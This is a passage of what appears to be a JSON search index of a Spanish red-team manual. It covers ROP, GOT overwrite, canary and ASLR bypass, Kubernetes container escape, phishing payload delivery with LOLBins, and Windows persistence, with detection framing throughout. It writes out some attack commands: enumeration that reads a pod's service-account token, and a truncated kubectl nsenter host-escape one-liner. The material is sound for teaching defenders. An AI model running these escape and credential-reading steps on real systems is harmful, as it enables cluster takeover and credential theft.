F[\"Leak (format string)\\no brute-force por fork\"] E --\u003e G{\"¿ASLR?\"} F --\u003e G G --\u003e|\"no / x86 baja entropía\"| H[\"Dirección estática\\no brute-force + NOP sled\"] G --\u003e|\"sí\"| I[\"Info-leak\\no valor estático (PLT, code seg, VDSO)\"] H --\u003e J[\"Control del flujo\\n→ shell\"] I --\u003e JLinkers, loaders y la GOT/PLT: dónde nace la primitiva Antes de romper nada conviene entender cómo un binario dinámico encuentra sus funciones en tiempo de ejecución, porque ahí vive una de las primitivas más útiles. El linker resuelve el nombre simbólico de una función a su dirección real; el loader trae el programa de disco a memoria. En un ELF dinámico esa resolución se difiere mediante dos tablas: la Procedure Linkage Table (PLT), de solo lectura, y la Global Offset Table (GOT), un segmento escribible que el linker dinámico rellena en la primera llamada a cada función. Ese mecanismo se llama lazy linking: el símbolo no se resuelve hasta que se lo usa por primera vez, para ahorrar recursos.\nEl recorrido concreto se observa con objdump y GDB sobre cualquier binario. Una llamada a puts() en el código apunta primero al stub de la PLT (call 0x8048374 \u003cputs@plt\u003e); ese stub hace un salto indirecto a través de un puntero guardado en la GOT (jmp *0x80497f0). La primera vez, ese puntero apunta de vuelta a la PLT, forzando al linker dinámico a resolver el símbolo y escribir la dirección real en la GOT; a partir de ahí, toda llamada la usa directo.\n$ objdump -R ./binario # DYNAMIC RELOCATION RECORDS: las entradas GOT (R_386_JUMP_SLOT puts …) objdump -j .got.plt -d ./binario | grep \u003coffset\u003e # el puntero GOT antes de resolver ⧉ copiar Que la GOT sea escribible es lo que la convierte en objetivo. Dos técnicas nacen de ahí:\nGOT overwrite. Con una primitiva de escritura arbitraria —una vulnerabilidad de format string con %n, un overflow que alcance la dirección de la entrada, o cualquier write-what-where— se reemplaza el destino de una llamada futura. Sobrescribir la entrada GOT de puts con la dirección de system hace que el próximo puts(x) ejecute system(x). ret2plt. Se retorna al stub PLT de una función ya importada por el binario, invocándola sin conocer la base aleatorizada de libc — porque la PLT vive en el propio ejecutable, no en la librería. Es también uno de los caminos para sortear ASLR, como se ve más abajo. ROP: encadenar código que ya existe Cuando NX/DEP marca la pila como no ejecutable, inyectar shellcode deja de servir. La respuesta es el Return-Oriented Programming (ROP), sucesor del ret2libc que Hovav Shacham demostró Turing-completo. En vez de código propio, se encadenan gadgets: secuencias cortas de instrucciones que ya están en la imagen o sus librerías, cada una terminada en un ret que salta al siguiente. Como usa código legítimamente ejecutable, ROP derrota NX; y como los gadgets pueden estar en direcciones estables, también ayuda contra ASLR.\nLa densidad del set x86 es lo que hace viable la técnica: las instrucciones no tienen longitud fija, así que apuntar al medio de una instrucción válida produce otra instrucción — el mismo principio que leer “trap” dentro de “contraption”. Un ejemplo real: la instrucción intencionada 7C8016CC 8B45 20 MOV EAX,[EBP+20], leída un byte más adelante en 0x7C8016CD, se desensambla como INC EBP / AND [EBX],BH / RETN — un gadget listo para usar, con un ret (0xC3) que nunca fue pensado como retorno. Encadenando estos fragmentos se replican operaciones como las de system() sin llamar nunca a system().\nLas defensas que buscan secuencias con muchos ret o violaciones del orden LIFO de la pila se sortean con ROP sin returns (un pop reg seguido de jmp *reg cumple el mismo papel que un ret) y con JOP (Jump-Oriented Programming), que usa un gadget dispatcher para evitar la dependencia de la pila. Herramientas como ROPgadget, ropper o el !mona rop del ecosistema Windows automatizan la búsqueda y el armado de la cadena.\nDerrotar el stack canary El canary es un valor de 4 bytes (8 en x64) colocado entre el buffer y el return pointer; si al retornar la función no coincide con el original, un handler aborta el proceso con *** stack smashing detected ***. En Linux lo implementa el Stack Smashing Protector (SSP, antes ProPolice, integrado en GCC), que además reordena las variables locales. Hay tres tipos de canary, y la vía de bypass depende de cuál sea:\nTerminator canary (0x00000aff): valor fijo y conocido, con bytes nulo/CR que cortan strcpy/gets. Es el más atacable justamente porque su valor no es secreto. Random canary: 4 bytes de urandom, verificados por XOR al retornar. Secreto e impredecible. Null canary (0x00000000): el más débil. La técnica de reparación aprovecha que el terminator canary es conocido. Si la función vulnerable copia a varios buffers con strcpy()/gets(), cada copia termina la cadena con un \\x00; escribiendo el valor del canary repartido entre esas copias se lo reconstruye byte a byte —incluidos los nulos, gratis— mientras el overflow sigue avanzando hasta el return pointer. La señal de éxito es que el fallo pasa de stack smashing detected a un SIGSEGV normal con el return pointer bajo control (EIP en 0x41414141): el canary quedó intacto y el chequeo no se disparó.\n(gdb) break *0x804848d run AAAAAAAA BBBBBBBB CCCCCCCC x/16x $esp # localizar el canary, p.ej. 0xff0a0000 (little-endian: \\x00\\x00\\x0a\\xff) ⧉ copiar El random canary no se puede reparar por ser secreto: exige un leak (una vulnerabilidad de format string que imprima el valor desde la pila) o un brute-force por fork — en un daemon que forkea hijos, el canary se hereda constante en cada hijo, así que se lo prueba byte a byte sin que el proceso padre reinicie. El caso real de ProFTPD 1.3.0 combinó ambas cosas: un terminator canary reparado y ASLR derrotado, con exploits local y remoto publicados.\nLa reparación del canary depende de una condición concreta: varias operaciones de copia sobre buffers distintos dentro de la misma función. No es universal — un canary random de fuente fuerte, o una única copia, la bloquean. Como toda técnica de esta familia, es condicional al binario. Bypass de ASLR ASLR aleatoriza las direcciones de code, stack, heap y objetos compartidos vía mmap(). Su control es /proc/sys/kernel/randomize_va_space (0 off, 1 on, 2 además aleatoriza brk()). No es infalible: para que stack y heap no colisionen, los bits más significativos quedan fijos, y mmap() solo mueve 16 bits, con lo que en x86 quedan","section":"P3 · Explotación y Red Team","summary":"Explotación de memoria en Linux moderno: linkers/loaders y la GOT/PLT como primitiva (ret2plt, GOT overwrite), ROP y JOP, cómo se derrota el stack canary y ASLR con varias técnicas, y las diferencias de la explotación x64, con su detección.","tags":["exploit-dev","linux","rop","aslr","deteccion"],"title":"3.15 · Exploit-dev Linux avanzado: ROP, GOT/PLT, bypass de canary y ASLR, x64","url":"/speculum/p3-red-team/3-15-exploit-dev-linux-avanzado/"},{"content":"Panorama Kubernetes ganó el mercado de la orquestación de contenedores a una velocidad que dejó atrás su postura de seguridad: no viene endurecido de fábrica. Un clúster instalado con kubeadm arranca sin network policy activa, sin pod security, con los secrets sin cifrar y con la red completamente plana. Cada control que importa —el aislamiento del contenedor, el firewall entre pods, la política de admisión, la firma de las imágenes— es opt-in, y esa laxitud por defecto es la superficie que explota el adversario. El material de este capítulo es threat-driven: sigue la disciplina del libro de referencia de personificar al atacante —el pirata Captain Hashjack, un criminal motivado con extorsión y robo en mente— y presentar cada técnica ofensiva junto a su contramedida. Es, por diseño, un capítulo púrpura: ataque y detección van juntos en cada sección.\nLa tesis que ordena el capítulo retoma y multiplica la que vertebró la web moderna (3.5): si allí cada comodidad reubicaba una frontera de confianza, aquí la arquitectura entera es una pila de fronteras de confianza apiladas, todas laxas por defecto —la imagen, el contenedor, el pod, el nodo/host, la red, la API del plano de control—. El atacante que compromete un pod no busca «la vulnerabilidad»: recorre esas fronteras hacia arriba, del RCE dentro de un contenedor al escape al host, y de ahí al robo de la identidad —el service account— que gobierna todo el clúster. La unidad de análisis es el pod, y el peor caso es el container breakout, que —esto es lo central— ocurre más por misconfiguración que por exploit de kernel. La escalada de este capítulo es la forma cloud-native de la escalada de privilegios (3.9): mismo principio —enumerar y encontrar la frontera que quedó abierta—, un piso de abstracción más arriba.\nflowchart TD I[\"Imagen\\n(CVEs · cadena de suministro)\"] --\u003e C[\"Contenedor\\n(namespaces/cgroups/caps/LSM)\"] C --\u003e P[\"Pod\\n(trust boundary · securityContext)\"] P --\u003e H[\"Nodo / Host\\n(container breakout)\"] H --\u003e R[\"Red plana\\n(lateral · secrets en etcd)\"] R --\u003e A[\"API / plano de control\\n(service account · RBAC)\"] A -.-\u003e|\"el atacante sube;\\ncada frontera está apagada por default\"| I classDef f fill:#1e293b,stroke:#475569,color:#e2e8f0; class I,C,P,H,R,A f;En términos de MITRE ATT\u0026CK for Containers el capítulo recorre el acceso inicial por imagen o aplicación vulnerable, la ejecución y persistencia en el clúster, la evasión del aislamiento (escape to host, T1611), el acceso a credenciales (service account tokens) y el descubrimiento por la API. Cierra el bloque RED de explotación: es el último capítulo de P3.\nEl pod como frontera de confianza Un contenedor no es una entidad del kernel sino una ficción de espacio de usuario: el resultado de combinar namespaces (aíslan la vista de procesos, red, montajes), cgroups (limitan recursos —y no son un límite de seguridad en su versión 1), capabilities de Linux y módulos de seguridad (LSM: AppArmor, SELinux) alrededor de un proceso arrancado desde el sistema de archivos de una imagen. Su seguridad tiene dos mitades: el contenido de la imagen (sus CVEs) y la configuración de ejecución (el securityContext).\nEl pod —el conjunto de contenedores que comparten namespaces de red e IPC— es la unidad de despliegue y una frontera de confianza en sí misma: como sus contenedores comparten la red, un atacante en uno puede atacar los sockets privados de los otros, incluida la interfaz loopback 127.0.0.1. Los sidecars e init containers suelen correr con privilegios elevados y son de interés para el adversario.\nTras un RCE en un contenedor —el foothold de Hashjack fue una versión vulnerable de Struts (la misma librería del breach de Equifax, CVE-2017-5638) explotada con Metasploit—, el flujo de reconocimiento es fijo: enumerar el securityContext y las capabilities (amicontained), leer el token del service account en /var/run/secrets/kubernetes.io/serviceaccount, obtener la IP de la API del entorno del pod, y enumerar los servicios del clúster —que CoreDNS entrega enteros por consulta DNS—.\n$ # Enumeración del clúster desde un pod comprometido env | grep KUBE # KUBERNETES_SERVICE_HOST=10.7.240.1 (la API) dig +noall +answer srv any.any.svc.cluster.local # CoreDNS lista TODOS los servicios del clúster cat /var/run/secrets/kubernetes.io/serviceaccount/token # la identidad del pod ⧉ copiar La primera línea de defensa tras el RCE es un securityContext correcto: correr como no-root (runAsNonRoot, runAsUser \u003e 10000), allowPrivilegeEscalation: false, dropear todas las capabilities y readmitir solo las imprescindibles, readOnlyRootFilesystem, y activar seccomp/AppArmor/SELinux. La razón es que el precursor de casi todo escape es conseguir root dentro del contenedor (y a menudo CAP_SYS_ADMIN, la de montaje): sin root, muchos breakouts se anulan. Las capabilities especialmente peligrosas —CAP_SYS_ADMIN (montaje), CAP_SYS_MODULE (cargar módulos de kernel), CAP_SYS_PTRACE (debug de otros procesos), CAP_NET_RAW (activa por defecto en runc, habilita sniffing y spoofing), CAP_BPF— son las que un securityContext restrictivo debe negar. Herramientas como kubesec y kubeaudit puntúan una configuración antes de desplegarla.\nEl flag privileged: true es, en palabras de Liz Rice, «el más peligroso de la historia de la computación»: deja solo el namespace de procesos, desactiva los LSM, desenmascara /dev y otorga todas las capabilities. Un contenedor privileged no está aislado del host de forma significativa; es la puerta de escape más directa. Junto a él, los flags de host —hostPID, hostNetwork, hostIPC, hostPath— cada uno anula una dimensión distinta del aislamiento. Ninguno debería llegar a producción sin una justificación explícita y un control de admisión que lo verifique. El escape al host El container breakout —escapar del contenedor al host— es el peor caso porque el host es tan poderoso como todos los workloads que ejecuta: root en el nodo accede a las identidades de todos ellos. Los autores lo definen ampliamente: no solo el exploit de kernel, sino cualquier evasión del aislamiento, y la vía más común es la misconfiguración que abre un camino legítimo al escape. Conviene situarlo en un espectro: el contenedor comparte el kernel del host (lo acotan namespaces y LSM, pero no lo aíslan del kernel), la máquina virtual arranca un kernel guest bajo un hypervisor, y los sandboxes de nueva generación se interponen en medio para recortar la superficie de syscalls que un workload hostil puede tocar.\nLos escapes concretos, ordenados de más a menos privilegio exigido:\nContenedor privileged. Con acceso al disco del host, se monta y se escribe una clave SSH en authorized_keys de root, o se manipula cualquier archivo del sistema (mount /dev/xvda1 /mnt/). hostPID + privileged. Permite entrar al mount namespace del PID 1 con nsenter —el one-liner canónico de Duffie Cooley e Ian Coldwater— y transportar la shell al sistema de archivos del host. hostPath escribible. Montar un directorio del host, incluso uno aparentemente inocuo como /var/log (Aqua, kube-pod-escape), expone el sistema de archivos completo por symlinks; con escritura, se deja un manifiesto de pod estático en /etc/kubernetes/manifests/ y el kubelet lo instancia —el mismo vector de persistencia contenedor→host que ya cerraba la persistencia en Linux (3.14)—. runc CVE-2019-5736 (/proc/self/exe). Un entrypoint que apunta con symlink a /proc/self/exe —el binario runc del host— permite sobrescribirlo desde dentro y ejecutar en el host la próxima vez que arranca un contenedor. Es explotable enteramente desde una imagen maliciosa, con sesgo cloud-native de cadena de suministro. Abuso de user namespaces. Fuente histórica de escalada (CVE-2018-18955 con CAP_SYS_ADMIN en el userns → leer /etc/shadow fuera de él); no están habilitados en Kubernetes. $ # Escape canónico: nsenter con hostPID + privileged (one-liner de Duffie Cooley) kubectl run r00t --restart=Never -ti --rm --image lol --overrides \\ '{\"spec\":{\"hostPID\":true,\"containers\":[{\"name\":\"1\",\"image","section":"P3 · Explotación y Red Team","summary":"Kubernetes no es seguro por defecto: cada control clave —aislamiento, red, política, firma— viene apagado, y esa laxitud es la superficie. La seguridad del clúster es una cadena de fronteras de confianza apiladas (imagen → contenedor → pod → nodo → red → API) que el atacante recorre hacia arriba: del RCE en un contenedor al escape al host (privileged, hostPID+nsenter, hostPath→/etc/kubernetes/manifests, runc /proc/self/exe) al robo del service account que gobierna el clúster, con la cadena de suministro como vector por proxy. La defensa reactiva cada frontera (securityContext, RuntimeClass, NetworkPolicy default-deny, RBAC least-privilege, admission control, firma sigstore) y, como última línea, un IDS de runtime en eBPF (Falco/Tracee) que asume la brecha. Cierra P3.","tags":["contenedores","kubernetes","container-escape","cloud-native","supply-chain","post-explotacion","deteccion"],"title":"3.16 · Contenedores y Kubernetes: del escape a la detección","url":"/speculum/p3-red-team/3-16-contenedores-kubernetes/"},{"content":"Panorama: cruzar la primera frontera La metodología de pentest describió el compromiso como una cadena de eslabones, y todos los capítulos anteriores de esta Parte trabajaron eslabones que ocurren después de estar dentro: explotar un servicio web, escalar privilegios, moverse lateralmente, persistir. Este capítulo trata el eslabón previo a todos ellos, el que cruza la frontera que separa el afuera del adentro: el acceso inicial (initial access). Es el momento en que un operador que no tiene ningún punto de apoyo en la red objetivo consigue el primero, y en la enorme mayoría de las intrusiones reales ese primer apoyo no llega por un exploit remoto contra un servicio expuesto, sino por convencer a una persona —o a un canal automatizado— de aceptar y ejecutar un artefacto.\nEse artefacto es el payload armado (weaponized payload), y diseñarlo es una negociación entre dos exigencias que tiran en direcciones opuestas. La primera es la entrega: el vehículo tiene que atravesar el canal —el filtro de correo, la política del navegador, la inspección del proxy— y llegar intacto a la víctima. La segunda es la ejecución: una vez en destino, tiene que correr sin que el control del endpoint —el antivirus, el EDR, las reglas de reducción de superficie— lo detenga. Un payload que evade toda inspección pero que el usuario no puede abrir es inútil; uno que se ejecuta sin fricción pero que el filtro de correo bloquea nunca llega. Todo el arte del acceso inicial vive en esa tensión, y este capítulo la recorre por vectores.\nConviene fijar el encuadre desde el inicio, porque es lo que hace útil el capítulo a los dos lados: describir cómo se arma y entrega un payload es describir exactamente lo que el defensor tiene que reconocer y cortar. Cada técnica de entrega deja una firma; cada motor de ejecución deja un rastro de proceso. El capítulo termina en ese mapeo. Y complementa, sin repetirlas, dos piezas que el manual ya trató: la ingeniería social operativa de la Parte 8 —el pretexto, el lado humano de convencer— y la explotación web —el acceso inicial por la vía del navegador contra una aplicación—. Aquí el foco es el tramo técnico entre ambos: el vehículo y su ejecución.\nEl vector dominante: phishing y la cadena de entrega El correo de phishing sigue siendo, año tras año, el vector de acceso inicial más usado, y su anatomía técnica es una cadena de tres pasos que conviene tener presente porque la defensa puede cortar en cualquiera de ellos: entrega → ejecución → llamada de vuelta (callback). El correo entrega un artefacto —un adjunto o un enlace—; la víctima realiza una acción que ejecuta código —abrir, habilitar, hacer clic—; y ese código establece el canal hacia la infraestructura del operador, que es donde arranca el command and control.\nflowchart LR E[\"entrega\\ncorreo · web · USB\"] --\u003e X[\"ejecución\\nmacro · LNK · HTA · LOLBin\"] X --\u003e C[\"callback\\ncanal hacia el C2\"] DE[\"corte: filtro de correo\\nSPF/DKIM/DMARC · sandbox\"] -.-\u003e E DX[\"corte: endpoint\\nMOTW · ASR · padre-hijo anómalo\"] -.-\u003e X DC[\"corte: red\\negress filtering · detección de C2\"] -.-\u003e CEl obstáculo estructural que gobierna todo el diseño de payloads en Windows es la marca de la web (Mark-of-the-Web, MOTW): una etiqueta que el sistema operativo adjunta a todo archivo descargado de Internet o recibido por correo, registrando que proviene de una zona no confiable. Las aplicaciones de Office, los navegadores y el propio Explorador consultan esa marca para decidir cuánta desconfianza aplicar —abrir en vista protegida, bloquear la ejecución de macros, mostrar una advertencia—. Buena parte de la evolución reciente de las técnicas de entrega es, literalmente, una carrera alrededor de la marca de la web: los defensores la hacen valer con más rigor, y los atacantes buscan formatos que no la propaguen a su contenido. Entender la MOTW es entender por qué las técnicas que siguen aparecieron y en qué orden.\nDocumentos armados y el declive de las macros Durante años el documento de Office con macros fue el rey del acceso inicial. Una macro es código —en el lenguaje VBA— embebido en un documento de Word o una planilla de Excel, que puede ejecutarse al abrirlo. El operador enviaba un documento con un pretexto plausible («habilite la edición para ver la factura»), la víctima habilitaba las macros, y el código descargaba y ejecutaba la siguiente etapa. Variantes como la inyección de plantilla remota (remote template injection) mantenían el documento en sí limpio y traían la macro desde un servidor externo solo al abrirlo, para esquivar el análisis estático del adjunto; y el abuso de DDE (Dynamic Data Exchange) lograba ejecución sin macros formales.\nEse reinado terminó por una decisión de arquitectura defensiva: Microsoft empezó a bloquear por defecto la ejecución de macros en documentos que traen la marca de la web. Un documento descargado o recibido por correo ya no ofrece el botón de «habilitar contenido»; la macro simplemente no corre. El cambio no eliminó la técnica —sigue viva en documentos entregados por canales que no ponen la marca, o contra organizaciones que la desactivaron por compatibilidad— pero la volvió poco fiable, y el resultado observable fue una migración masiva de los atacantes hacia formatos que no propagan la marca de la web a su contenido interno. Ese es el hilo que explica la siguiente familia de técnicas.\nContenedores, accesos directos y contrabando Cuando el documento con macros dejó de ser confiable, la weaponización se desplazó a formatos que sortean la marca de la web por su estructura. Los contenedores montables —imágenes de disco ISO, IMG o VHD— son el ejemplo canónico: cuando el usuario abre el contenedor, Windows lo monta como una unidad, y los archivos que hay dentro no heredan la marca de la web del contenedor descargado. Un acceso directo o un ejecutable colocado dentro de una ISO se ejecuta sin la fricción que habría tenido suelto. La respuesta defensiva llegó —versiones recientes de Windows propagan la marca a más formatos de contenedor— pero la técnica marcó la pauta.\nSobre esa base aparecen varios vehículos que comparten la lógica de «lo que la víctima hace clic no es lo que cree». El acceso directo (.lnk) puede apuntar a un comando arbitrario disfrazado con el ícono de un documento. La aplicación HTA (HTML Application, .hta) es una página que se ejecuta fuera del navegador, con permisos de aplicación de escritorio, procesada por un binario legítimo del sistema. Y el contrabando por HTML (HTML smuggling) es la técnica más elegante del grupo: en lugar de entregar el archivo malicioso por el canal —donde el proxy podría inspeccionarlo—, se entrega una página web inofensiva que lleva el payload codificado como datos dentro de su propio código; cuando el navegador de la víctima abre la página, un fragmento de JavaScript reconstruye el archivo del lado del cliente y lo ofrece para descarga. El payload nunca viajó como archivo por la red: se ensambló dentro del navegador, del lado de adentro de la inspección. Es el equivalente, en el terreno del acceso inicial, de la lógica de romper la frontera donde nadie mira que atraviesa todo el manual.\nLOLBins: ejecutar con binarios que ya son de confianza Un payload entregado todavía necesita un motor que lo ejecute, y aquí opera un principio que la evasión de AV/EDR desarrolló en profundidad y que conviene nombrar en su forma de acceso inicial: vivir de lo que ya es confiable (living off the land). En lugar de traer un ejecutable propio —sospechoso por definición—, el operador usa binarios legítimos que el sistema operativo ya trae firmados por Microsoft y que tienen capacidades de descarga y ejecución: mshta ejecuta HTA, rundll32 invoca funciones de bibliotecas, regsvr32 registra componentes ejecutando código en el proceso, msiexec instala paquetes desde una URL. Estos LOLBins (living-off-the-land binaries) heredan la confianza de su firma y su ubicación, y por eso una cadena de entrega bien armada procura terminar en uno de ellos: el documento o el","section":"P3 · Explotación y Red Team","summary":"El eslabón que faltaba entre el pretexto humano y la ejecución de código: cómo un operador cruza la primera frontera de confianza —de afuera hacia adentro— entregando un artefacto que la víctima o el canal aceptan y que, una vez en destino, se ejecuta. El capítulo trata el acceso inicial como una negociación entre dos exigencias en tensión: la entrega (que el correo, el sitio o el dispositivo acepten el vehículo) y la ejecución (que el control del endpoint no lo detenga). Recorre el vector dominante —el phishing y sus documentos armados, con las macros de Office en declive por la marca de la web (Mark-of-the-Web) que Microsoft empezó a hacer valer— y el pivote de los atacantes hacia los contenedores montables (ISO/IMG/VHD), los accesos directos (LNK), las aplicaciones HTA y el contrabando por HTML (HTML smuggling), que reconstruye el payload del lado del cliente para esquivar la inspección del canal. Cubre los binarios legítimos del sistema (LOLBins) como motores de ejecución que heredan confianza, y el acceso físico por dispositivos de interfaz humana falsos (BadUSB). Cierra, como todo capítulo ofensivo del manual, con el mapeo púrpura: la defensa del acceso inicial vive en tres planos —el correo, el endpoint y la persona— y ninguno alcanza solo. Complementa la ingeniería social de la Parte 8 (el lado humano) y la explotación web de este mismo bloque (la vía del navegador).","tags":["acceso-inicial","phishing","payload-dev","lolbins","evasion","deteccion"],"title":"3.17 · Acceso inicial y weaponización de payloads","url":"/speculum/p3-red-team/3-17-acceso-inicial-weaponizacion/"},{"content":"Panorama: qué se hace con el primer apoyo El acceso inicial entrega un punto de apoyo: un proceso ejecutándose en un host Windows, casi siempre con los privilegios de un usuario común. La post-explotación (post-exploitation) es todo lo que el operador hace a partir de ahí, y sigue un guion reconocible: consolidar el acceso (entender dónde está, con qué privilegios), recolectar (credenciales, información del dominio), pivotar hacia otros hosts, y —la pieza que este capítulo trata— persistir, para que el acceso sobreviva a un reinicio, a un cierre de sesión o a la eliminación del proceso original. Sin persistencia, un apoyo es efímero: basta que la máquina se reinicie para perderlo.\nLa primitiva que gobierna toda persistencia es la misma que la persistencia en Linux enunció, y conviene repetirla porque es lo que unifica un catálogo que de otro modo parece una lista de trucos: persistir es suscribir código propio a un disparador de ejecución que el sistema operativo ya honra. No se inventa un mecanismo nuevo; se abusa de uno legítimo —«cuando pase X, ejecuto lo que haya aquí»— colocando el propio código donde el sistema ya va a mirar. Lo que cambia entre sistemas operativos es la riqueza del catálogo de disparadores, y Windows tiene uno especialmente amplio, heredado de décadas de compatibilidad. Cada mecanismo se ubica según tres ejes: el privilegio que exige para instalarlo, el momento en que dispara (al iniciar sesión, al arrancar la máquina, ante un evento) y la visibilidad del artefacto que deja (un archivo, una clave de registro, una entrada en una base de datos interna).\nflowchart TB P[\"primitiva: suscribir código\\na un disparador que Windows ya honra\"] P --\u003e U[\"sin admin (HKCU)\\nRun keys · Startup · tarea de usuario · COM hijack\"] P --\u003e A[\"admin / SYSTEM (HKLM)\\nservicio · tarea SYSTEM · IFEO · DLL search-order · accesibilidad\"] P --\u003e F[\"fileless / sigilo\\nsuscripción de eventos WMI (repositorio, sin archivo)\"] U -.-\u003e|\"escalar privilegios (3.9)\"| A A -.-\u003e FAntes de recorrerlo, una distinción que evita confusiones a lo largo del capítulo. Existe una persistencia a nivel de dominio, que abusa del Active Directory —cuentas, delegaciones, tickets forjados, listas de control de acceso— y que vive en la Parte 4. Este capítulo trata la persistencia a nivel de host: los mecanismos del propio Windows en una máquina, que funcionan igual esté o no en un dominio. Son planos complementarios, y un operador maduro combina ambos; aquí nos quedamos en la máquina.\nSin privilegios de administrador Un error común es creer que la persistencia exige privilegios altos. Buena parte del catálogo funciona con los permisos de un usuario común, escribiendo solo en su propia porción del sistema, y por eso es la primera que un operador instala: asegura el apoyo antes de intentar escalar.\nLas claves Run del registro son el mecanismo arquetípico. En la rama del usuario actual (HKCU) existen ubicaciones —...\\CurrentVersion\\Run y RunOnce— cuyo contenido el sistema ejecuta automáticamente cada vez que ese usuario inicia sesión. Escribir ahí un valor que apunte al propio payload garantiza su ejecución en cada inicio de sesión, sin tocar nada que requiera administrador. La carpeta de inicio (Startup folder) es la versión en disco de la misma idea: cualquier acceso directo o ejecutable colocado ahí corre al iniciar sesión. Las tareas programadas de usuario ofrecen más control sobre el disparo —a una hora, cada cierto intervalo, ante un evento del sistema— y también se crean sin privilegios elevados para el propio usuario.\nMás sutil es el secuestro de objetos COM (COM hijacking). El modelo de componentes de Windows resuelve qué código cargar para un componente dado consultando el registro, y consulta primero la rama del usuario antes que la de la máquina. Un operador que registra en su propia rama un componente que el sistema o una aplicación legítima cargan con frecuencia logra que su código se ejecute cada vez que ese componente se invoca, sin sobrescribir nada global —solo se adelanta en el orden de búsqueda—. Es persistencia sigilosa porque no crea un artefacto obvio de arranque, sino que se esconde en la maquinaria de resolución de componentes.\nCon administrador o SYSTEM Cuando el operador ha escalado —por las vías de la escalada de privilegios— se abre la mitad más poderosa y más sigilosa del catálogo, la que escribe en la porción de la máquina (HKLM) y afecta a todos los usuarios y al arranque del sistema.\nLos servicios de Windows son el mecanismo clásico: un servicio es un programa que el sistema arranca automáticamente al iniciar la máquina, potencialmente como SYSTEM —el privilegio máximo del host— y con reinicio automático si se lo mata. Registrar un servicio malicioso da persistencia con el privilegio más alto y una gran resistencia. Las tareas programadas del sistema, creadas con privilegios elevados, ofrecen lo mismo con disparadores más flexibles.\nEl mecanismo que merece más atención, porque es el favorito de los adversarios avanzados y el más difícil de ver, es la suscripción permanente a eventos de WMI (WMI event subscription). WMI (Windows Management Instrumentation) es la infraestructura de administración del sistema, y permite registrar de forma permanente un vínculo entre un filtro de eventos —una condición, por ejemplo «cada vez que el sistema lleva cierto tiempo encendido» o «cuando se inicia tal proceso»— y un consumidor —una acción, típicamente ejecutar un comando—. Ese vínculo se almacena en el repositorio interno de WMI, no en un archivo del disco ni en una clave de arranque obvia, y dispara el payload cuando la condición se cumple. Es persistencia fileless —sin archivo— en el sentido fuerte: el artefacto vive en una base de datos de administración que las herramientas de arranque tradicionales no inspeccionan. Por eso es a la vez tan usada por los atacantes sofisticados y tan importante de conocer para el defensor.\nA su lado hay una familia de abusos de rutas de ejecución. Las opciones de ejecución de imágenes (Image File Execution Options, IFEO) permiten asociar un «depurador» a un ejecutable por su nombre, de modo que al lanzarse el programa se lance en su lugar el del atacante. El secuestro del orden de búsqueda de DLL (DLL search-order hijacking) coloca una biblioteca maliciosa en una ruta que una aplicación legítima consulta antes que la correcta, logrando que la aplicación cargue el código del atacante al iniciarse. Y las puertas traseras de accesibilidad —reemplazar utilidades como las teclas especiales o el administrador de utilidades por un intérprete de comandos— dan una consola con privilegios de sistema disponible incluso desde la pantalla de inicio de sesión.\nFileless y el sigilo del post-breach Un rasgo atraviesa la mitad avanzada del catálogo y conviene nombrarlo: la tendencia a no tocar el disco. El registro y el repositorio de WMI funcionan como almacenes donde esconder tanto el disparador como, a veces, el propio payload codificado, de modo que no haya un archivo malicioso que un antivirus pueda encontrar. Es la lógica que frameworks de post-explotación llevaron al extremo: mantener la carga en memoria y en almacenes de administración, dejando en disco lo mínimo. Vale notar un detalle que conecta con el capítulo anterior: la marca de la web que gobierna el acceso inicial es irrelevante aquí. Esa marca protege contra lo que entra de afuera; una vez el operador ejecuta código dentro del host, escribe en el registro y en WMI como cualquier proceso local, sin ninguna marca que lo delate. La defensa del post-breach es, por eso, enteramente distinta de la del acceso inicial: ya no se trata de filtrar lo que llega, sino de observar lo que ocurre.\nConviene, por último, señalar los puentes con otras Partes sin rehacerlas. Una webshell —código en un servidor web comprometido que da ejecución remota— es persistencia del lado servidor y nace de la explotación web; la persistencia de dominio que sobrevive a la reinstalación de un host —un golden tic","section":"P3 · Explotación y Red Team","summary":"El espejo Windows de la persistencia en Linux: qué hace un operador con un punto de apoyo recién ganado en un host Windows, y cómo lo vuelve durable. Parte de la misma primitiva que gobierna toda persistencia —suscribir código propio a un disparador de ejecución que el sistema operativo ya honra— y muestra que en Windows ese catálogo de disparadores es especialmente rico, gobernado por tres ejes: el privilegio que exige, el momento en que dispara y la visibilidad del artefacto que deja. Recorre la escalera desde los mecanismos accesibles sin privilegios de administrador (las claves Run del registro de usuario, la carpeta de inicio, las tareas programadas de usuario, el secuestro de objetos COM) hasta los que requieren administrador o SYSTEM (servicios, tareas del sistema, y sobre todo las suscripciones a eventos de WMI, que son fileless y sobreviven sin tocar el disco), pasando por los abusos clásicos de rutas de ejecución (opciones de ejecución de imágenes, secuestro del orden de búsqueda de DLL, puertas traseras de accesibilidad). Distingue con cuidado esta persistencia de host de la persistencia a nivel de dominio del Active Directory, que vive en su propia Parte. Y cierra con el mapeo púrpura: la persistencia deja siempre un artefacto que sobrevive al reinicio, y por lo tanto es enumerable —la telemetría de registro, de servicios, de tareas y, muy en particular, de las suscripciones de WMI es lo que la delata—.","tags":["persistencia","windows","post-explotacion","wmi","fileless","deteccion"],"title":"3.18 · Post-explotación y persistencia en Windows","url":"/speculum/p3-red-team/3-18-post-explotacion-persistencia-windows/"},{"content":"Panorama: cuando la identidad es el perímetro Todos los capítulos anteriores de esta Parte suponen, en el fondo, un modelo de centro de datos: hay máquinas, hay una red que las conecta, y comprometer el entorno es conquistar máquinas y moverse por esa red. La nube rompe ese modelo, y el red team que la ataca tiene que cambiar de raíz su forma de pensar. En un proveedor de nube no hay una «adentro» de red que conquistar —los recursos son servicios gestionados a los que se accede por una interfaz de programación (API) desde cualquier parte—, y no hay un perímetro físico que atravesar. Lo que hay es un plano de control (control plane) gobernado por identidades y políticas: quién es cada actor y qué se le permite hacer. El atacante en la nube, por eso, rara vez explota una vulnerabilidad de memoria o un servicio sin parchear; abusa de permisos mal puestos.\nLa tesis que ordena todo el capítulo se puede enunciar de una vez, y es la misma que la arquitectura de seguridad presentó como corrección del modelo de perímetro: en la nube, la identidad es el perímetro. Si no hay un «adentro» confiable por ubicación de red, lo único que decide cada acceso es la identidad del actor y los permisos que tiene asignados. Esa es exactamente la lógica del zero trust, y la nube es su encarnación más pura: cada llamada a la API se autentica y se autoriza por identidad, sin importar de dónde venga. La consecuencia ofensiva es directa —el objetivo del atacante deja de ser una máquina y pasa a ser una credencial de identidad con permisos, y el camino al control total es una cadena de identidades que van otorgando cada vez más autoridad—. Es, estructuralmente, el 